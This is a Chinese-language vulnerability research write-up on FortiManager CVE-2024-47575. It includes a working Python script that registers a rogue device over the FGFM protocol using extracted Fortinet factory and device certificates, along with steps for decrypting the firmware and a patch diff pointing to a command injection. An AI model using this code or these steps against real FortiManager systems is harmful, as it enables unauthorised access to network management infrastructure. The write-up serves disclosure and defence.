深入解析FortiJump(FortiManager CVE-2024-47575)
CVE-2024-47575(又称FortiJump)在安全公告发布前因野外利用消息泄露而广受关注。据Mandiant报告,至少自2024年6月起已有威胁攻击者利用此漏洞。鉴于集中管理设备的高度敏感性,我们决定深入分析。
连接设备到FortiManager
公告将CVE-2024-47575描述为“fgfmsd中的身份验证缺失”。结合IoC列表和缓解措施,我们推测漏洞利用的第一步是注册设备。
我们首先搭建了实验室环境,包含FortiManager VM和FortiGate防火墙,并配置FortiGate连接到FortiManager实例:
1
2
3
4
|
config system central-management
set type fortimanager
set fmg "192.168.250.103"
end
|
确认设备出现在FortiManager中:
1
2
3
4
5
6
7
|
# diagnose dvm device list
--- There are currently 1 devices/vdoms managed ---
--- There are currently 1 devices/vdoms count for license ---
TYPE OID SN HA IP NAME ADOM IPS FIRMWARE HW_GenX
unregistered 166 FGTXXXXXXXXXXXXX - 192.168.250.124
FGTXXXXXXXXXXXXX root N/A 7.0 MR2 (1396) N/A
|
根据漏洞理解,使设备处于未注册状态是利用CVE-2024-47575的第一步。下一步是用Python复现请求。
已知FortiGate到FortiManager(FGFM)协议使用TLS over TCP端口541,因此我们启动TLS服务器并配置FortiGate使用该IP作为FortiManager。但FortiGate拒绝连接:
1
2
3
4
5
6
7
8
9
|
# ncat --ssl -nlvp 541
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: F74F 629E 3757 3845 EC74 7EA6 ED47 B899 598A 2364
Ncat: Listening on :::541
Ncat: Listening on 0.0.0.0:541
Ncat: Connection from 192.168.250.124.
Ncat: Connection from 192.168.250.124:8394.
NCAT DEBUG: SSL_read error on 5: error:00000005:lib(0):func(0):DH lib
|
检查FortiGate日志后,发现其拒绝了自动生成的服务器证书。幸运的是,在之前研究CVE-2024-23113时,我们发现FGFM客户端接受包含在所有FortiGate VM中的Fortinet工厂证书(/data/etc/cert/local/root_Fortinet_Factory.cer)。该证书的私钥使用静态AES密钥加密,可从init二进制文件中提取。此次FortiGate连接后未立即关闭连接:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
# ncat --ssl --ssl-cert root_Fortinet_Factory.cer --ssl-key root_Fortinet_Factory.key -nlvp 541
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::541
Ncat: Listening on 0.0.0.0:541
Ncat: Connection from 192.168.250.124.
Ncat: Connection from 192.168.250.124:11554.
6get auth
serialno=FGTXXXXXXXXXXXXX
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.250.124
hostname=FGTXXXXXXXXXXXXX
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.250.124
mgmtport=443
|
如Watchtowr所述(Phrack中也有简要提及),FGFM消息以8字节头部开始,包含魔术数字(\x36\xe0\x11\x00)和大小字段。每行以CRLF结束,最后一行为空并以空字节结束。第一行是请求方法/动作,其余行是键值对。基于此协议知识,我们编写Python脚本向FortiManager发送数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
import socket, struct, ssl
request=b"""get auth
serialno=FGTXXXXXXXXXXXXX
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.250.124
hostname=FGTXXXXXXXXXXXXX
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.250.124
mgmtport=443
\0""".replace(b"\n",b"\r\n")
def sendmsg(socket, request):
message=struct.pack(">II", 0x36e01100, len(request)+8)+request
socket.send(message)
hdr=socket.read(8)
if len(hdr)!=8:
return hdr
magic, size=struct.unpack(">II", socket.read(8))
return socket.read(size)
host=("192.168.250.103","541")
context=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname=False
context.verify_mode=ssl.CERT_NONE
s=socket.create_connection(host, 3)
ssl_sock=context.wrap_socket(s)
response=sendmsg(ssl_sock, request)
print(response)
|
运行后出现异常:
1
2
3
4
5
6
7
8
9
|
$ python3 test-47575.py
Traceback (most recent call last):
File "test-47575.py", line 41, in <module>
response=sendmsg(ssl_sock, request)
File "test-47575.py", line 30, in sendmsg
magic, size=struct.unpack(">II", socket.read(8))
File "/usr/lib/python3.8/ssl.py", line 1130, in read
return self._sslobj.read(len)
ssl.SSLError: [SSL: TLSV13_ALERT_CERTIFICATE_REQUIRED] tlsv13 alert certificate required (_ssl.c:2649)
|
服务器请求客户端证书。尝试使用之前的工厂证书:
1
|
context.load_cert_chain(certfile="root_Fortinet_Factory.cer ",keyfile="root_Fortinet_Factory.key")
|
1
2
|
$ python3 test-47575.py
b‘’
|
此次得到空响应,表明证书已被接受。但查看FortiManager日志时,发现请求仍被拒绝:
1
|
__get_handler: SNs don’t match <FortiGate> < FGTXXXXXXXXXXXXX >
|
意识到第一个值(“FortiGate”)来自客户端证书通用名,第二个值是请求中的serialno参数。将serialno参数改为“FortiGate”后,出现新错误消息:
1
|
Serial number does not match device model
|
序列号以产品标识前缀开头。不幸的是,“FortiGate”与任何有效设备的前缀都不匹配,因此无法使用此证书。但我们在之前的研究中恰好从FortiGate设备提取了设备证书。
意外提取设备证书的艰难过程
我们通常为方便起见在FortiGate VM设备上进行研究,但许多公司使用硬件设备。因此,去年我们购买了二手FortiGate 60E用于研究。主要目标是识别硬件和VM设备之间的重要差异,其中包括查看FortiGate修改的U-Boot引导程序。
FG60E设备有两个存储位置。主存储是8GB EMMC芯片,存储FortiOS系统和配置数据。第二个位置是2MiB SPI闪存芯片,存储引导程序以及一些在工厂重置后仍保留的附加标识符。
图1:FG60-E内部的EMMC(底部)和SPI闪存(顶部)
为转储引导程序,我们拆焊SPI闪存芯片并连接到便宜的TL866II通用编程器。输出是闪存内容的原始转储,分析该文件的第一步是运行binwalk。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
$ binwalk spi.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
280184 0x44678 CRC32 polynomial table, little endian
325409 0x4F721 Certificate in DER format (x509 v3), header length: 4, sequence length: 76
325413 0x4F725 Certificate in DER format (x509 v3), header length: 4, sequence length: 144
325461 0x4F755 Certificate in DER format (x509 v3), header length: 4, sequence length: 184
325509 0x4F785 Certificate in DER format (x509 v3), header length: 4, sequence length: 176
325557 0x4F7B5 Certificate in DER format (x509 v3), header length: 4, sequence length: 168
325601 0x4F7E1 Certificate in DER format (x509 v3), header length: 4, sequence length: 92
325605 0x4F7E5 Certificate in DER format (x509 v3), header length: 4, sequence length: 160
325649 0x4F811 Certificate in DER format (x509 v3), header length: 4, sequence length: 84
325653 0x4F815 Certificate in DER format (x509 v3), header length: 4, sequence length: 152
2088962 0x1FE002 PEM certificate
2093584 0x1FF210 PEM certificate
2095106 0x1FF802 PEM RSA private key
|
Binwalk识别出“PEM RSA私钥”和多个证书。提取闪存转储末尾的证书和私钥后,意识到这是设备证书及相关私钥。尽管当时此证书无用,但之前研究已有此证书的事实为分析CVE-2024-47575节省了大量时间。
将FG60E设备证书和密钥插入脚本后,收到响应并在FortiManager设备列表中看到设备。
1
|
b'0\r\nrequest=auth\r\nserialno=FMG-VM0000000000\r\nuser=\r\npasswd=\r\nmgmtport=443\r\nkeepalive_interval=120\r\nchan_window_sz=32768\r\nsock_timeout=360\r\nmgmtid=3939167a-975d-51df-4d9a-046004f6d298\r\n\r\n\x00'
|
固件解密
现在可以通过FGFM与FortiManager实例通信,但需知道发送什么内容。公告未提供太多线索,因此转向补丁对比。不幸的是,我们立即遇到障碍,因为与FortiGate设备类似,FortiManager的rootfs文件被加密。更糟的是,固件加密似乎与FortiGate固件加密完全不同。
首先解包固件更新文件,初始看起来与FortiGate相似。包含rootfs.gz和vmlinuz,预计对应initramfs和内核镜像。如前所述,rootfs被加密,因此计划从内核镜像开始分析。尝试使用vmlinux-to-elf将内核镜像转换为可加载到Ghidra的格式,但未能找到内核版本和符号表。
很快意识到不仅rootfs被加密,内核本身也被混淆。从hexdump中可清晰看到足够结构表明部分文件未加密,甚至可看到与解压gzip压缩内核镜像相关的字符串。尽管看到这些字符串,但未在二进制中看到gzip头部。这引导我们逆向存根解压缩器并找到负责混淆的自定义代码。
在解压内核前,解压函数使用32字节密钥对大量内存范围进行XOR。我们编写脚本就地XOR此数据,成功后运行vmlinux-to-elf并将去混淆的内核镜像加载到Ghidra。
借鉴破解FortiGate加密的经验,跟踪负责加载initramfs的函数,并找到加载静态AES-CTR密钥和IV的自定义函数。提取这些值后成功解密rootfs镜像,最终访问FortiManager上运行的固件。
补丁对比
与FortiGate几乎所有功能合并到/bin/init二进制文件不同,FortiManager组织更类似典型Linux系统,包含许多二进制文件、库和脚本。使用pkgdiff缩小范围,发现7.6.0和7.6.1版本间有5个库和10个二进制文件更改。我们立即注意到公告中提到的服务fgfmsd,但未在数十个更改函数中找到类似漏洞修复的内容。这引导我们查看其他更改组件,包括共享库。
libdmserver.so包含看似命令注入漏洞的修复:
图2:删除了使用外部控制内容调用system()
修补函数似乎由“rcs/checkout”操作的处理程序调用,该函数似乎从内部RCS仓库检出数据库。此RCS仓库用于配置管理,数据库对应设备配置。我们推测利用涉及发送某种FGFM请求获取设备配置,且该请求中的参数将传递给/bin/cp命令。不幸的是,未能识别可用于利用此漏洞的请求或参数。
结论
尽管未能创建完整概念验证利用,但CVE-2024-47575似乎是命令注入漏洞。命令注入是高度可利用的漏洞类别,因为相同payload通常可用于所有易受攻击设备和版本。因此,建议尽快修补。无论是否修补,还建议通过遵循CVE-2024-47575公告中的缓解步骤尽可能限制对FGFM端口的访问。鉴于这是第三个与FGFM相关的漏洞,将服务公开在互联网上似乎不明智。
一如既往,Bishop Fox利用此研究扫描并提醒受影响的Cosmos客户。